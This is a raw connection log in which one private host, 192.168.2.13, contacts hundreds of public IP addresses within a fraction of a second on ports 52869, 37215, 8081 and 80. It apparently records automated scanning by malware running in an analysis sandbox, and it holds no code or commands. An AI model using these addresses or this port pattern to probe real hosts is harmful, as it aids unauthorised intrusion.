Jul 20, 2024 23:05:43.013997078 CEST	43695	52869	192.168.2.13	82.86.14.146
Jul 20, 2024 23:05:43.013997078 CEST	43695	52869	192.168.2.13	34.193.46.111
Jul 20, 2024 23:05:43.013997078 CEST	43695	52869	192.168.2.13	1.65.186.95
Jul 20, 2024 23:05:43.013997078 CEST	43695	52869	192.168.2.13	166.100.244.149
Jul 20, 2024 23:05:43.013997078 CEST	43695	52869	192.168.2.13	48.76.62.132
Jul 20, 2024 23:05:43.014409065 CEST	43695	52869	192.168.2.13	126.193.54.184
Jul 20, 2024 23:05:43.014409065 CEST	43695	52869	192.168.2.13	71.160.9.77
Jul 20, 2024 23:05:43.014409065 CEST	43695	52869	192.168.2.13	195.214.211.145
Jul 20, 2024 23:05:43.014409065 CEST	43695	52869	192.168.2.13	194.243.241.228
Jul 20, 2024 23:05:43.014409065 CEST	43439	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.014409065 CEST	43439	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:43.014409065 CEST	43439	8081	192.168.2.13	96.170.14.74
Jul 20, 2024 23:05:43.016251087 CEST	43695	52869	192.168.2.13	58.46.187.113
Jul 20, 2024 23:05:43.016251087 CEST	43695	52869	192.168.2.13	5.140.107.193
Jul 20, 2024 23:05:43.016251087 CEST	43695	52869	192.168.2.13	59.14.100.158
Jul 20, 2024 23:05:43.016251087 CEST	43695	52869	192.168.2.13	211.108.105.81
Jul 20, 2024 23:05:43.016251087 CEST	43695	52869	192.168.2.13	217.137.94.212
Jul 20, 2024 23:05:43.016251087 CEST	43439	8081	192.168.2.13	141.177.86.101
Jul 20, 2024 23:05:43.016251087 CEST	43695	52869	192.168.2.13	57.200.27.16
Jul 20, 2024 23:05:43.016251087 CEST	43695	52869	192.168.2.13	19.239.59.212
Jul 20, 2024 23:05:43.016434908 CEST	43439	8081	192.168.2.13	54.6.201.32
Jul 20, 2024 23:05:43.016434908 CEST	43439	8081	192.168.2.13	206.246.221.13
Jul 20, 2024 23:05:43.016434908 CEST	43439	8081	192.168.2.13	40.163.150.43
Jul 20, 2024 23:05:43.016434908 CEST	43439	8081	192.168.2.13	73.114.141.101
Jul 20, 2024 23:05:43.016434908 CEST	43439	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:43.016434908 CEST	43439	8081	192.168.2.13	69.46.94.219
Jul 20, 2024 23:05:43.016434908 CEST	43439	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:43.016434908 CEST	43439	8081	192.168.2.13	34.21.127.123
Jul 20, 2024 23:05:43.017793894 CEST	44719	37215	192.168.2.13	41.125.83.112
Jul 20, 2024 23:05:43.017793894 CEST	43695	52869	192.168.2.13	145.34.54.47
Jul 20, 2024 23:05:43.017793894 CEST	43695	52869	192.168.2.13	198.91.216.39
Jul 20, 2024 23:05:43.017793894 CEST	44719	37215	192.168.2.13	157.191.238.139
Jul 20, 2024 23:05:43.017793894 CEST	43695	52869	192.168.2.13	133.245.234.195
Jul 20, 2024 23:05:43.017793894 CEST	44719	37215	192.168.2.13	153.19.68.159
Jul 20, 2024 23:05:43.017793894 CEST	44719	37215	192.168.2.13	197.134.53.11
Jul 20, 2024 23:05:43.017793894 CEST	44719	37215	192.168.2.13	60.60.230.181
Jul 20, 2024 23:05:43.019680977 CEST	43439	8081	192.168.2.13	199.4.202.86
Jul 20, 2024 23:05:43.019680977 CEST	43439	8081	192.168.2.13	73.173.101.17
Jul 20, 2024 23:05:43.019680977 CEST	43439	8081	192.168.2.13	216.192.84.208
Jul 20, 2024 23:05:43.019680977 CEST	43439	8081	192.168.2.13	208.202.168.158
Jul 20, 2024 23:05:43.019680977 CEST	43439	8081	192.168.2.13	5.181.247.52
Jul 20, 2024 23:05:43.019680977 CEST	43439	8081	192.168.2.13	9.0.142.114
Jul 20, 2024 23:05:43.019680977 CEST	43439	8081	192.168.2.13	19.187.75.84
Jul 20, 2024 23:05:43.019680977 CEST	43439	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:43.021070957 CEST	44719	37215	192.168.2.13	66.1.65.160
Jul 20, 2024 23:05:43.021070957 CEST	43439	8081	192.168.2.13	82.61.16.245
Jul 20, 2024 23:05:43.021070957 CEST	44719	37215	192.168.2.13	157.119.115.133
Jul 20, 2024 23:05:43.021070957 CEST	43695	52869	192.168.2.13	70.184.72.79
Jul 20, 2024 23:05:43.021070957 CEST	46804	8081	192.168.2.13	37.111.247.22
Jul 20, 2024 23:05:43.021070957 CEST	43695	52869	192.168.2.13	149.4.190.52
Jul 20, 2024 23:05:43.021070957 CEST	43439	8081	192.168.2.13	12.16.167.142
Jul 20, 2024 23:05:43.021070957 CEST	43439	8081	192.168.2.13	120.10.205.153
Jul 20, 2024 23:05:43.021743059 CEST	43695	52869	192.168.2.13	54.2.202.56
Jul 20, 2024 23:05:43.021744013 CEST	43695	52869	192.168.2.13	126.190.17.177
Jul 20, 2024 23:05:43.021744013 CEST	43695	52869	192.168.2.13	132.104.105.56
Jul 20, 2024 23:05:43.021744013 CEST	43695	52869	192.168.2.13	2.25.67.139
Jul 20, 2024 23:05:43.021744013 CEST	43695	52869	192.168.2.13	202.188.197.110
Jul 20, 2024 23:05:43.021744013 CEST	43695	52869	192.168.2.13	203.193.164.250
Jul 20, 2024 23:05:43.022411108 CEST	43439	8081	192.168.2.13	68.212.82.48
Jul 20, 2024 23:05:43.022411108 CEST	43439	8081	192.168.2.13	211.204.217.228
Jul 20, 2024 23:05:43.022411108 CEST	43439	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:43.022411108 CEST	43439	8081	192.168.2.13	23.41.209.174
Jul 20, 2024 23:05:43.022411108 CEST	43439	8081	192.168.2.13	90.54.94.73
Jul 20, 2024 23:05:43.022411108 CEST	43439	8081	192.168.2.13	115.114.137.163
Jul 20, 2024 23:05:43.022411108 CEST	43439	8081	192.168.2.13	4.61.221.117
Jul 20, 2024 23:05:43.022411108 CEST	43439	8081	192.168.2.13	132.90.128.192
Jul 20, 2024 23:05:43.023291111 CEST	43695	52869	192.168.2.13	130.15.132.11
Jul 20, 2024 23:05:43.023291111 CEST	43439	8081	192.168.2.13	220.78.125.162
Jul 20, 2024 23:05:43.023291111 CEST	43695	52869	192.168.2.13	87.7.126.124
Jul 20, 2024 23:05:43.023292065 CEST	43439	8081	192.168.2.13	39.105.191.247
Jul 20, 2024 23:05:43.023292065 CEST	43439	8081	192.168.2.13	112.86.7.178
Jul 20, 2024 23:05:43.023292065 CEST	43439	8081	192.168.2.13	50.12.161.43
Jul 20, 2024 23:05:43.023292065 CEST	43439	8081	192.168.2.13	196.137.185.234
Jul 20, 2024 23:05:43.025144100 CEST	43439	8081	192.168.2.13	5.161.41.42
Jul 20, 2024 23:05:43.025144100 CEST	43439	8081	192.168.2.13	192.18.80.120
Jul 20, 2024 23:05:43.025144100 CEST	43439	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:43.025144100 CEST	43439	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:43.025144100 CEST	43439	8081	192.168.2.13	47.15.28.200
Jul 20, 2024 23:05:43.025144100 CEST	43439	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:43.026668072 CEST	43439	8081	192.168.2.13	203.155.52.220
Jul 20, 2024 23:05:43.026668072 CEST	43439	8081	192.168.2.13	109.227.2.125
Jul 20, 2024 23:05:43.027192116 CEST	44719	37215	192.168.2.13	197.122.201.28
Jul 20, 2024 23:05:43.027192116 CEST	48480	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:43.027192116 CEST	43695	52869	192.168.2.13	169.91.238.87
Jul 20, 2024 23:05:43.027192116 CEST	43439	8081	192.168.2.13	95.35.74.71
Jul 20, 2024 23:05:43.027192116 CEST	44719	37215	192.168.2.13	197.150.148.231
Jul 20, 2024 23:05:43.027192116 CEST	43439	8081	192.168.2.13	71.98.237.227
Jul 20, 2024 23:05:43.027192116 CEST	43695	52869	192.168.2.13	141.210.116.66
Jul 20, 2024 23:05:43.027192116 CEST	44719	37215	192.168.2.13	171.164.182.99
Jul 20, 2024 23:05:43.027684927 CEST	43695	52869	192.168.2.13	17.112.208.233
Jul 20, 2024 23:05:43.027684927 CEST	44719	37215	192.168.2.13	157.0.108.222
Jul 20, 2024 23:05:43.027684927 CEST	44719	37215	192.168.2.13	157.36.231.7
Jul 20, 2024 23:05:43.027684927 CEST	43695	52869	192.168.2.13	83.233.168.103
Jul 20, 2024 23:05:43.027684927 CEST	44719	37215	192.168.2.13	128.243.111.143
Jul 20, 2024 23:05:43.027684927 CEST	44719	37215	192.168.2.13	2.248.177.196
Jul 20, 2024 23:05:43.027686119 CEST	43695	52869	192.168.2.13	99.146.20.94
Jul 20, 2024 23:05:43.027686119 CEST	43439	8081	192.168.2.13	106.148.119.121
Jul 20, 2024 23:05:43.028321981 CEST	43695	52869	192.168.2.13	159.114.53.103
Jul 20, 2024 23:05:43.028321981 CEST	43695	52869	192.168.2.13	77.105.176.197
Jul 20, 2024 23:05:43.028321981 CEST	43695	52869	192.168.2.13	65.177.254.39
Jul 20, 2024 23:05:43.028321981 CEST	43695	52869	192.168.2.13	203.174.3.79
Jul 20, 2024 23:05:43.028321981 CEST	43695	52869	192.168.2.13	219.92.122.239
Jul 20, 2024 23:05:43.028321981 CEST	43695	52869	192.168.2.13	92.123.90.236
Jul 20, 2024 23:05:43.028321981 CEST	43695	52869	192.168.2.13	72.238.59.114
Jul 20, 2024 23:05:43.028491974 CEST	43695	52869	192.168.2.13	31.70.55.174
Jul 20, 2024 23:05:43.028491974 CEST	43439	8081	192.168.2.13	152.130.118.54
Jul 20, 2024 23:05:43.028491974 CEST	43439	8081	192.168.2.13	179.109.3.69
Jul 20, 2024 23:05:43.028491974 CEST	43695	52869	192.168.2.13	93.111.249.71
Jul 20, 2024 23:05:43.028491974 CEST	43439	8081	192.168.2.13	69.169.245.124
Jul 20, 2024 23:05:43.028491974 CEST	43439	8081	192.168.2.13	206.22.37.87
Jul 20, 2024 23:05:43.028491974 CEST	43439	8081	192.168.2.13	69.1.246.87
Jul 20, 2024 23:05:43.028491974 CEST	43695	52869	192.168.2.13	157.61.107.93
Jul 20, 2024 23:05:43.029314041 CEST	8081	43439	139.176.103.99	192.168.2.13
Jul 20, 2024 23:05:43.029319048 CEST	52869	43695	23.254.202.30	192.168.2.13
Jul 20, 2024 23:05:43.029325008 CEST	80	53648	95.214.250.8	192.168.2.13
Jul 20, 2024 23:05:43.029326916 CEST	80	21679	95.81.58.25	192.168.2.13
Jul 20, 2024 23:05:43.029335976 CEST	80	21679	95.217.180.102	192.168.2.13
Jul 20, 2024 23:05:43.029340029 CEST	52869	43695	212.2.16.100	192.168.2.13
Jul 20, 2024 23:05:43.029341936 CEST	52869	43695	148.183.234.226	192.168.2.13
Jul 20, 2024 23:05:43.029345036 CEST	52869	43695	218.143.209.9	192.168.2.13
Jul 20, 2024 23:05:43.029349089 CEST	52869	43695	122.42.21.233	192.168.2.13
Jul 20, 2024 23:05:43.029356956 CEST	52869	43695	60.254.158.250	192.168.2.13
Jul 20, 2024 23:05:43.029361963 CEST	80	21679	95.169.185.0	192.168.2.13
Jul 20, 2024 23:05:43.029367924 CEST	52869	43695	180.246.19.38	192.168.2.13
Jul 20, 2024 23:05:43.029371023 CEST	52869	43695	79.95.142.127	192.168.2.13
Jul 20, 2024 23:05:43.029377937 CEST	52869	43695	54.234.218.74	192.168.2.13
Jul 20, 2024 23:05:43.029383898 CEST	52869	43695	179.175.62.202	192.168.2.13
Jul 20, 2024 23:05:43.029392004 CEST	52869	43695	147.13.231.81	192.168.2.13
Jul 20, 2024 23:05:43.029397964 CEST	8081	43439	93.210.42.24	192.168.2.13
Jul 20, 2024 23:05:43.029401064 CEST	80	21679	95.43.74.154	192.168.2.13
Jul 20, 2024 23:05:43.029405117 CEST	52869	43695	198.28.183.99	192.168.2.13
Jul 20, 2024 23:05:43.029407978 CEST	52869	43695	57.185.124.210	192.168.2.13
Jul 20, 2024 23:05:43.029418945 CEST	43695	52869	192.168.2.13	54.234.218.74
Jul 20, 2024 23:05:43.029418945 CEST	53648	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:43.029427052 CEST	52869	43695	4.154.121.93	192.168.2.13
Jul 20, 2024 23:05:43.029428005 CEST	80	21679	95.4.216.90	192.168.2.13
Jul 20, 2024 23:05:43.029428959 CEST	80	21679	95.245.162.53	192.168.2.13
Jul 20, 2024 23:05:43.029437065 CEST	52869	43695	65.59.23.119	192.168.2.13
Jul 20, 2024 23:05:43.029439926 CEST	52869	43695	120.54.121.65	192.168.2.13
Jul 20, 2024 23:05:43.029442072 CEST	52869	43695	176.250.104.166	192.168.2.13
Jul 20, 2024 23:05:43.029443979 CEST	52869	43695	126.7.5.219	192.168.2.13
Jul 20, 2024 23:05:43.029443979 CEST	43439	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:43.029447079 CEST	21679	80	192.168.2.13	95.169.185.0
Jul 20, 2024 23:05:43.029983044 CEST	21679	80	192.168.2.13	95.4.216.90
Jul 20, 2024 23:05:43.030555964 CEST	52869	43695	190.168.154.6	192.168.2.13
Jul 20, 2024 23:05:43.030563116 CEST	52869	43695	107.157.186.209	192.168.2.13
Jul 20, 2024 23:05:43.030565977 CEST	52869	43695	117.184.57.121	192.168.2.13
Jul 20, 2024 23:05:43.030570030 CEST	52869	43695	140.191.78.1	192.168.2.13
Jul 20, 2024 23:05:43.030575991 CEST	52869	43695	188.34.68.170	192.168.2.13
Jul 20, 2024 23:05:43.030576944 CEST	80	21679	95.238.198.229	192.168.2.13
Jul 20, 2024 23:05:43.030582905 CEST	80	21679	95.138.20.220	192.168.2.13
Jul 20, 2024 23:05:43.030585051 CEST	52869	43695	92.70.112.120	192.168.2.13
Jul 20, 2024 23:05:43.030590057 CEST	80	57434	95.61.59.169	192.168.2.13
Jul 20, 2024 23:05:43.030596018 CEST	52869	43695	90.47.78.73	192.168.2.13
Jul 20, 2024 23:05:43.030596972 CEST	52869	43695	9.215.167.76	192.168.2.13
Jul 20, 2024 23:05:43.030599117 CEST	52869	43695	2.106.120.34	192.168.2.13
Jul 20, 2024 23:05:43.030605078 CEST	52869	43695	25.59.71.80	192.168.2.13
Jul 20, 2024 23:05:43.030613899 CEST	52869	43695	70.144.22.153	192.168.2.13
Jul 20, 2024 23:05:43.030617952 CEST	80	21679	95.173.216.42	192.168.2.13
Jul 20, 2024 23:05:43.030626059 CEST	80	21679	95.105.24.228	192.168.2.13
Jul 20, 2024 23:05:43.030627012 CEST	80	21679	95.134.182.177	192.168.2.13
Jul 20, 2024 23:05:43.030627966 CEST	80	35484	95.207.7.187	192.168.2.13
Jul 20, 2024 23:05:43.030631065 CEST	52869	43695	9.197.141.155	192.168.2.13
Jul 20, 2024 23:05:43.030632019 CEST	52869	43695	12.74.40.184	192.168.2.13
Jul 20, 2024 23:05:43.030637026 CEST	52869	43695	211.57.212.232	192.168.2.13
Jul 20, 2024 23:05:43.030637980 CEST	80	44258	95.241.185.124	192.168.2.13
Jul 20, 2024 23:05:43.030642986 CEST	52869	43695	169.7.169.89	192.168.2.13
Jul 20, 2024 23:05:43.030643940 CEST	52869	43695	207.232.162.63	192.168.2.13
Jul 20, 2024 23:05:43.030647039 CEST	52869	43695	136.105.164.67	192.168.2.13
Jul 20, 2024 23:05:43.030647993 CEST	52869	43695	188.144.0.144	192.168.2.13
Jul 20, 2024 23:05:43.030653000 CEST	52869	43695	44.21.255.214	192.168.2.13
Jul 20, 2024 23:05:43.030657053 CEST	52869	43695	136.92.68.13	192.168.2.13
Jul 20, 2024 23:05:43.030658007 CEST	80	47198	95.115.50.80	192.168.2.13
Jul 20, 2024 23:05:43.030759096 CEST	21679	80	192.168.2.13	95.238.198.229
Jul 20, 2024 23:05:43.030759096 CEST	35484	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:43.030981064 CEST	52869	43695	197.247.82.167	192.168.2.13
Jul 20, 2024 23:05:43.030991077 CEST	52869	43695	70.101.182.16	192.168.2.13
Jul 20, 2024 23:05:43.030992031 CEST	52869	43695	42.72.97.206	192.168.2.13
Jul 20, 2024 23:05:43.030997038 CEST	52869	43695	87.86.69.47	192.168.2.13
Jul 20, 2024 23:05:43.031001091 CEST	80	21679	95.18.104.115	192.168.2.13
Jul 20, 2024 23:05:43.031009912 CEST	52869	43695	126.133.64.217	192.168.2.13
Jul 20, 2024 23:05:43.031019926 CEST	52869	43695	43.204.75.0	192.168.2.13
Jul 20, 2024 23:05:43.031021118 CEST	52869	43695	42.199.4.199	192.168.2.13
Jul 20, 2024 23:05:43.031025887 CEST	52869	43695	209.44.149.220	192.168.2.13
Jul 20, 2024 23:05:43.031039000 CEST	52869	43695	158.243.30.81	192.168.2.13
Jul 20, 2024 23:05:43.031040907 CEST	80	21679	95.94.98.164	192.168.2.13
Jul 20, 2024 23:05:43.031050920 CEST	52869	43695	102.7.134.215	192.168.2.13
Jul 20, 2024 23:05:43.031053066 CEST	80	35442	95.139.27.54	192.168.2.13
Jul 20, 2024 23:05:43.031059027 CEST	52869	43695	152.0.164.86	192.168.2.13
Jul 20, 2024 23:05:43.031061888 CEST	52869	43695	104.147.63.128	192.168.2.13
Jul 20, 2024 23:05:43.031073093 CEST	52869	43695	113.139.176.10	192.168.2.13
Jul 20, 2024 23:05:43.031083107 CEST	52869	43695	100.208.53.138	192.168.2.13
Jul 20, 2024 23:05:43.031085014 CEST	8081	46406	120.161.159.9	192.168.2.13
Jul 20, 2024 23:05:43.031085968 CEST	52869	43695	220.208.74.97	192.168.2.13
Jul 20, 2024 23:05:43.031088114 CEST	52869	43695	51.21.238.125	192.168.2.13
Jul 20, 2024 23:05:43.031089067 CEST	52869	43695	41.169.117.71	192.168.2.13
Jul 20, 2024 23:05:43.031095982 CEST	52869	43695	177.124.46.187	192.168.2.13
Jul 20, 2024 23:05:43.031100988 CEST	52869	43695	96.245.4.158	192.168.2.13
Jul 20, 2024 23:05:43.031102896 CEST	52869	43695	72.7.157.55	192.168.2.13
Jul 20, 2024 23:05:43.031105042 CEST	52869	43695	65.176.75.115	192.168.2.13
Jul 20, 2024 23:05:43.031110048 CEST	52869	43695	45.61.142.44	192.168.2.13
Jul 20, 2024 23:05:43.031692982 CEST	80	21679	95.147.3.23	192.168.2.13
Jul 20, 2024 23:05:43.031694889 CEST	52869	43695	54.226.216.136	192.168.2.13
Jul 20, 2024 23:05:43.031701088 CEST	52869	43695	41.66.176.126	192.168.2.13
Jul 20, 2024 23:05:43.031708002 CEST	80	34442	95.12.205.106	192.168.2.13
Jul 20, 2024 23:05:43.031709909 CEST	52869	43695	98.41.112.97	192.168.2.13
Jul 20, 2024 23:05:43.031712055 CEST	52869	43695	185.229.129.7	192.168.2.13
Jul 20, 2024 23:05:43.031728983 CEST	52869	43695	190.135.172.134	192.168.2.13
Jul 20, 2024 23:05:43.031730890 CEST	52869	43695	59.134.246.58	192.168.2.13
Jul 20, 2024 23:05:43.031732082 CEST	8081	41110	68.208.130.213	192.168.2.13
Jul 20, 2024 23:05:43.031743050 CEST	52869	43695	54.23.208.207	192.168.2.13
Jul 20, 2024 23:05:43.031744957 CEST	52869	43695	48.251.54.82	192.168.2.13
Jul 20, 2024 23:05:43.031750917 CEST	80	21679	95.120.178.191	192.168.2.13
Jul 20, 2024 23:05:43.031754971 CEST	52869	43695	13.122.171.86	192.168.2.13
Jul 20, 2024 23:05:43.031759977 CEST	52869	43695	168.136.131.227	192.168.2.13
Jul 20, 2024 23:05:43.031765938 CEST	52869	43695	205.57.7.246	192.168.2.13
Jul 20, 2024 23:05:43.031766891 CEST	52869	43695	117.185.79.10	192.168.2.13
Jul 20, 2024 23:05:43.031775951 CEST	52869	43695	193.55.48.74	192.168.2.13
Jul 20, 2024 23:05:43.031785011 CEST	52869	43695	36.173.185.90	192.168.2.13
Jul 20, 2024 23:05:43.031791925 CEST	52869	43695	50.255.5.73	192.168.2.13
Jul 20, 2024 23:05:43.031793118 CEST	80	21679	95.78.169.218	192.168.2.13
Jul 20, 2024 23:05:43.031799078 CEST	52869	43695	4.157.190.129	192.168.2.13
Jul 20, 2024 23:05:43.031800032 CEST	80	21679	95.220.124.217	192.168.2.13
Jul 20, 2024 23:05:43.031804085 CEST	80	21679	95.47.107.232	192.168.2.13
Jul 20, 2024 23:05:43.031807899 CEST	80	21679	95.145.56.187	192.168.2.13
Jul 20, 2024 23:05:43.031817913 CEST	80	21679	95.203.56.1	192.168.2.13
Jul 20, 2024 23:05:43.031882048 CEST	43439	8081	192.168.2.13	149.99.178.213
Jul 20, 2024 23:05:43.031882048 CEST	43695	52869	192.168.2.13	142.5.156.44
Jul 20, 2024 23:05:43.031882048 CEST	43439	8081	192.168.2.13	4.65.100.232
Jul 20, 2024 23:05:43.031882048 CEST	43439	8081	192.168.2.13	161.81.165.200
Jul 20, 2024 23:05:43.031882048 CEST	43439	8081	192.168.2.13	20.27.185.208
Jul 20, 2024 23:05:43.031882048 CEST	43695	52869	192.168.2.13	13.255.129.209
Jul 20, 2024 23:05:43.031882048 CEST	43695	52869	192.168.2.13	123.58.174.32
Jul 20, 2024 23:05:43.031975985 CEST	43695	52869	192.168.2.13	14.10.226.210
Jul 20, 2024 23:05:43.031975985 CEST	43439	8081	192.168.2.13	53.115.43.54
Jul 20, 2024 23:05:43.031975985 CEST	43695	52869	192.168.2.13	120.248.227.146
Jul 20, 2024 23:05:43.031975985 CEST	43439	8081	192.168.2.13	170.212.107.44
Jul 20, 2024 23:05:43.031975985 CEST	43695	52869	192.168.2.13	70.99.230.158
Jul 20, 2024 23:05:43.031975985 CEST	43695	52869	192.168.2.13	162.148.188.117
Jul 20, 2024 23:05:43.031975985 CEST	43695	52869	192.168.2.13	84.9.32.205
Jul 20, 2024 23:05:43.032748938 CEST	43695	52869	192.168.2.13	61.171.129.68
Jul 20, 2024 23:05:43.032748938 CEST	43695	52869	192.168.2.13	167.39.179.157
Jul 20, 2024 23:05:43.032748938 CEST	43695	52869	192.168.2.13	70.244.218.60
Jul 20, 2024 23:05:43.032748938 CEST	43695	52869	192.168.2.13	207.157.145.187
Jul 20, 2024 23:05:43.032748938 CEST	43695	52869	192.168.2.13	60.243.75.169
Jul 20, 2024 23:05:43.032748938 CEST	43695	52869	192.168.2.13	27.248.247.21
Jul 20, 2024 23:05:43.032748938 CEST	43695	52869	192.168.2.13	89.96.171.25
Jul 20, 2024 23:05:43.032748938 CEST	43695	52869	192.168.2.13	96.132.28.217
Jul 20, 2024 23:05:43.032763004 CEST	52869	43695	61.4.31.29	192.168.2.13
Jul 20, 2024 23:05:43.032764912 CEST	80	21679	95.25.68.5	192.168.2.13
Jul 20, 2024 23:05:43.032773972 CEST	52869	43695	8.194.135.211	192.168.2.13
Jul 20, 2024 23:05:43.032776117 CEST	80	21679	95.198.207.31	192.168.2.13
Jul 20, 2024 23:05:43.032778025 CEST	52869	43695	74.135.165.20	192.168.2.13
Jul 20, 2024 23:05:43.032778978 CEST	52869	43695	96.198.250.163	192.168.2.13
Jul 20, 2024 23:05:43.032779932 CEST	52869	43695	181.111.144.2	192.168.2.13
Jul 20, 2024 23:05:43.032783985 CEST	52869	43695	165.67.246.17	192.168.2.13
Jul 20, 2024 23:05:43.032793999 CEST	52869	43695	144.82.141.52	192.168.2.13
Jul 20, 2024 23:05:43.032797098 CEST	52869	43695	82.33.248.18	192.168.2.13
Jul 20, 2024 23:05:43.032799006 CEST	52869	43695	117.19.75.70	192.168.2.13
Jul 20, 2024 23:05:43.032803059 CEST	52869	43695	54.210.170.82	192.168.2.13
Jul 20, 2024 23:05:43.032804966 CEST	52869	43695	139.215.208.4	192.168.2.13
Jul 20, 2024 23:05:43.032809019 CEST	52869	43695	93.163.33.196	192.168.2.13
Jul 20, 2024 23:05:43.032814026 CEST	52869	43695	163.230.224.77	192.168.2.13
Jul 20, 2024 23:05:43.032819033 CEST	52869	43695	179.105.100.104	192.168.2.13
Jul 20, 2024 23:05:43.032830000 CEST	80	60396	95.247.168.194	192.168.2.13
Jul 20, 2024 23:05:43.032836914 CEST	52869	43695	152.5.232.74	192.168.2.13
Jul 20, 2024 23:05:43.032844067 CEST	8081	43439	115.193.221.183	192.168.2.13
Jul 20, 2024 23:05:43.032845974 CEST	52869	43695	195.230.178.54	192.168.2.13
Jul 20, 2024 23:05:43.032847881 CEST	80	21679	95.214.234.78	192.168.2.13
Jul 20, 2024 23:05:43.032855988 CEST	52869	43695	193.46.3.9	192.168.2.13
Jul 20, 2024 23:05:43.032861948 CEST	52869	43695	37.101.251.198	192.168.2.13
Jul 20, 2024 23:05:43.032861948 CEST	80	48154	95.12.175.93	192.168.2.13
Jul 20, 2024 23:05:43.032864094 CEST	52869	43695	170.241.233.70	192.168.2.13
Jul 20, 2024 23:05:43.032865047 CEST	52869	43695	157.51.85.188	192.168.2.13
Jul 20, 2024 23:05:43.032871008 CEST	52869	43695	119.209.118.223	192.168.2.13
Jul 20, 2024 23:05:43.032875061 CEST	52869	43695	167.214.138.230	192.168.2.13
Jul 20, 2024 23:05:43.032895088 CEST	52869	43695	107.13.79.171	192.168.2.13
Jul 20, 2024 23:05:43.032907009 CEST	52869	43695	145.70.126.217	192.168.2.13
Jul 20, 2024 23:05:43.032922983 CEST	80	37818	95.37.52.245	192.168.2.13
Jul 20, 2024 23:05:43.032928944 CEST	52869	43695	90.100.249.60	192.168.2.13
Jul 20, 2024 23:05:43.032932043 CEST	52869	43695	81.58.226.241	192.168.2.13
Jul 20, 2024 23:05:43.032942057 CEST	80	45440	95.130.191.169	192.168.2.13
Jul 20, 2024 23:05:43.032944918 CEST	52869	43695	176.196.5.125	192.168.2.13
Jul 20, 2024 23:05:43.032951117 CEST	52869	43695	84.66.98.107	192.168.2.13
Jul 20, 2024 23:05:43.032952070 CEST	52869	43695	173.45.14.187	192.168.2.13
Jul 20, 2024 23:05:43.032953024 CEST	52869	43695	180.227.68.91	192.168.2.13
Jul 20, 2024 23:05:43.032964945 CEST	80	21679	95.13.148.84	192.168.2.13
Jul 20, 2024 23:05:43.032965899 CEST	52869	43695	141.100.64.100	192.168.2.13
Jul 20, 2024 23:05:43.032974005 CEST	52869	43695	117.152.1.46	192.168.2.13
Jul 20, 2024 23:05:43.032987118 CEST	52869	43695	94.48.164.27	192.168.2.13
Jul 20, 2024 23:05:43.032988071 CEST	52869	43695	1.93.188.107	192.168.2.13
Jul 20, 2024 23:05:43.032989025 CEST	52869	43695	192.121.203.206	192.168.2.13
Jul 20, 2024 23:05:43.032989979 CEST	80	56426	95.227.200.110	192.168.2.13
Jul 20, 2024 23:05:43.032991886 CEST	52869	43695	218.163.37.226	192.168.2.13
Jul 20, 2024 23:05:43.033023119 CEST	8081	54692	102.95.56.173	192.168.2.13
Jul 20, 2024 23:05:43.033027887 CEST	52869	43695	167.77.192.96	192.168.2.13
Jul 20, 2024 23:05:43.033037901 CEST	80	48492	95.82.15.117	192.168.2.13
Jul 20, 2024 23:05:43.033055067 CEST	52869	43695	91.183.34.180	192.168.2.13
Jul 20, 2024 23:05:43.033058882 CEST	80	21679	95.97.247.205	192.168.2.13
Jul 20, 2024 23:05:43.033062935 CEST	52869	43695	206.15.41.191	192.168.2.13
Jul 20, 2024 23:05:43.033063889 CEST	52869	43695	91.45.87.232	192.168.2.13
Jul 20, 2024 23:05:43.033066988 CEST	80	21679	95.176.198.253	192.168.2.13
Jul 20, 2024 23:05:43.033070087 CEST	80	54132	95.194.234.149	192.168.2.13
Jul 20, 2024 23:05:43.033087015 CEST	52869	43695	107.44.96.215	192.168.2.13
Jul 20, 2024 23:05:43.033093929 CEST	80	21679	95.234.57.122	192.168.2.13
Jul 20, 2024 23:05:43.033094883 CEST	80	21679	95.218.173.157	192.168.2.13
Jul 20, 2024 23:05:43.033096075 CEST	80	44598	95.48.33.221	192.168.2.13
Jul 20, 2024 23:05:43.033107996 CEST	80	57834	95.228.200.238	192.168.2.13
Jul 20, 2024 23:05:43.033108950 CEST	52869	43695	206.13.90.182	192.168.2.13
Jul 20, 2024 23:05:43.033118963 CEST	52869	43695	150.81.30.7	192.168.2.13
Jul 20, 2024 23:05:43.033123970 CEST	52869	43695	175.246.213.33	192.168.2.13
Jul 20, 2024 23:05:43.033124924 CEST	52869	43695	136.167.58.203	192.168.2.13
Jul 20, 2024 23:05:43.033127069 CEST	52869	43695	208.234.251.123	192.168.2.13
Jul 20, 2024 23:05:43.033138037 CEST	52869	43695	108.1.62.245	192.168.2.13
Jul 20, 2024 23:05:43.033252001 CEST	21679	80	192.168.2.13	95.217.180.102
Jul 20, 2024 23:05:43.033252001 CEST	43695	52869	192.168.2.13	198.28.183.99
Jul 20, 2024 23:05:43.033252001 CEST	43695	52869	192.168.2.13	65.59.23.119
Jul 20, 2024 23:05:43.033370972 CEST	21679	80	192.168.2.13	95.94.98.164
Jul 20, 2024 23:05:43.033370972 CEST	21679	80	192.168.2.13	95.147.3.23
Jul 20, 2024 23:05:43.033448935 CEST	52869	43695	27.108.119.77	192.168.2.13
Jul 20, 2024 23:05:43.033456087 CEST	52869	43695	93.240.35.99	192.168.2.13
Jul 20, 2024 23:05:43.033457041 CEST	80	21679	95.90.254.115	192.168.2.13
Jul 20, 2024 23:05:43.033467054 CEST	52869	43695	136.232.246.8	192.168.2.13
Jul 20, 2024 23:05:43.033468962 CEST	52869	43695	123.94.180.32	192.168.2.13
Jul 20, 2024 23:05:43.033480883 CEST	80	21679	95.164.3.253	192.168.2.13
Jul 20, 2024 23:05:43.033493996 CEST	80	21679	95.247.95.124	192.168.2.13
Jul 20, 2024 23:05:43.033525944 CEST	80	21679	95.63.75.116	192.168.2.13
